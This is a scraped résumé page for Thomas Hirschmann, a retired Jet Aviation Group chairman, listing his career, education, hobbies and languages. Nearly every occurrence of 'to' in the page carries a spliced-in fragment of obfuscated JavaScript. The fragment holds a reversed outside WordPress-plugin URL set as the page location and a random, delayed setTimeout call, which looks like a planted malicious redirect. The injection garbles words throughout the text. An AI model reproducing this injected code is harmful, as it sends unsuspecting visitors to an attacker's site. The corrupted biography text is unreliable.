Qualifications Summary
Thomas Hirschmann’s experience in Aviation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totals over 35 years. He worked his way up the corporate ladder from apprenticing as an airframe and engine mechanic and electronic engineer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Chairman and CEO for the Jet Aviation Group of companies.
From 1990 until his retirement in May 2003, he increased the net sales of the Jet Aviation Group from CHF 350 million (US$292 million) toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to CHF 830 million (US$693 million). Further, he increased Earnings Before Interest Taxes Depreciation and Accrual (EBITDA) from CHF 12 million (US$10 million) toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to CHF 85 million (US$70 million) at the end of 2002. Under his leadership, the Jet Aviation workforce grew from 1700 employees in 1990 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 3500 in 2002.
Thomas Hirschmann’s extensive experience, coupled with his analytical capabilities and solid knowledge of all angles of the aviation business render him one of the most respected individuals in the aviation industry toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today.
Professional Experience
May 03
Retired as Chairman & CEO from the Jet Aviation Group of Companies
Jan 90
Jet Aviation Holding, Zürich, Switzerland; Appointed as Chairman & CEO, Jet Aviation Group of Companies
Jan 88-Dec 89
Jet Aviation Holding, Zürich, Switzerland; Executive Vice President, Jet Aviation Group of Companies, Worldwide Operation
Jan 87-Dec 87
Jet Aviation Holding, Zürich, Switzerland; Executive Vice President, Jet Aviation Group of Companies for Europe, Middle East and Africa
Sep 84-Dec 86
Jet Aviation Holding, Zürich, Switzerland; Assistant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Chairman & CEO
Nov 81-Aug 84
Jet Aviation, Zürich, Switzerland. During his tenure at Jet Aviation Zürich, he toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took over the responsibility of the following departments:
| GM Marketing & PR Department for the Jet Aviation Group of Companies |
| GM of the Airline Ground Handling Operations in Zürich and Geneva |
| GM of the IT Department |
| GM of the Travel Office for internal & 3rd party travel |
Aug 79-Oct 81
Jet Aviation, Basel, Switzerland; apprentice as an Airframe Engine Mechanic, Electric Electronic Engineer
Jul 78-Jul 79
Jet Aviation, Basel, Switzerland; deputy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Outfitting Department Head
Apr 77-Jun 78
Jet Aviation, Zurich, Switzerland; in charge of setting up Jet Aviation’s new Marketing PR Department
Jan 77-Mar 77
Grundig GmbH, Munich Nuremberg, Germany; Assistant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the VP PR-Marketing
Apr 76-Dec 76
S.C.I. Miramar, Roquebrune, France; in charge of a large construction project
Sep 75-Mar 76
Hirschmann Industrial Holding, Zürich, Switzerland; Assistant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the CFO
Jun 75-Aug 75
Hiltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Hotel, Basel, Switzerland; Trainee in all departments
May 74-May 75
Hirschmann GmbH, Winzeln, Germany; Assistant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Manager of Sales of Rod Ends and Spherical Bearings
Thomas Hirschmann enjoys skiing in the winter and boating in the summer. He’s also a passionate off-road driver and the proud owner of a 1944 Willy’s Jeep he acquired at age 18 and fully restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tored, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together with a friend, during his college years. And last but not least he is a passionate Harley Davidson biker toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touring North and South America whenever time permits.
Education
| Mar 61-Jun 68 | Primary & Secondary School, Küsnacht, Switzerland; Grade 1 – 8 |
| Sep 68-Mar 74 | Lyceum Alpinum, Zuoz, Switzerland; Business School |
Achievements
| Jan 79-Aug 91 | Active duty with the Swiss Army Corps as a Cryptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tographic Communication Specialist |
| May 80-Jun 80 | PPL Airplane Single & Multiengine, Helicopter training |
| Mar 94-Dec 00 | National Business Aviation Association, Associate Member Advisory Council |
Languages
| English (fluent) |
| German (fluent) |
| Swiss German (fluent) |
| French (rusty) |
| Italian (basic) |
| Spanish (basic) |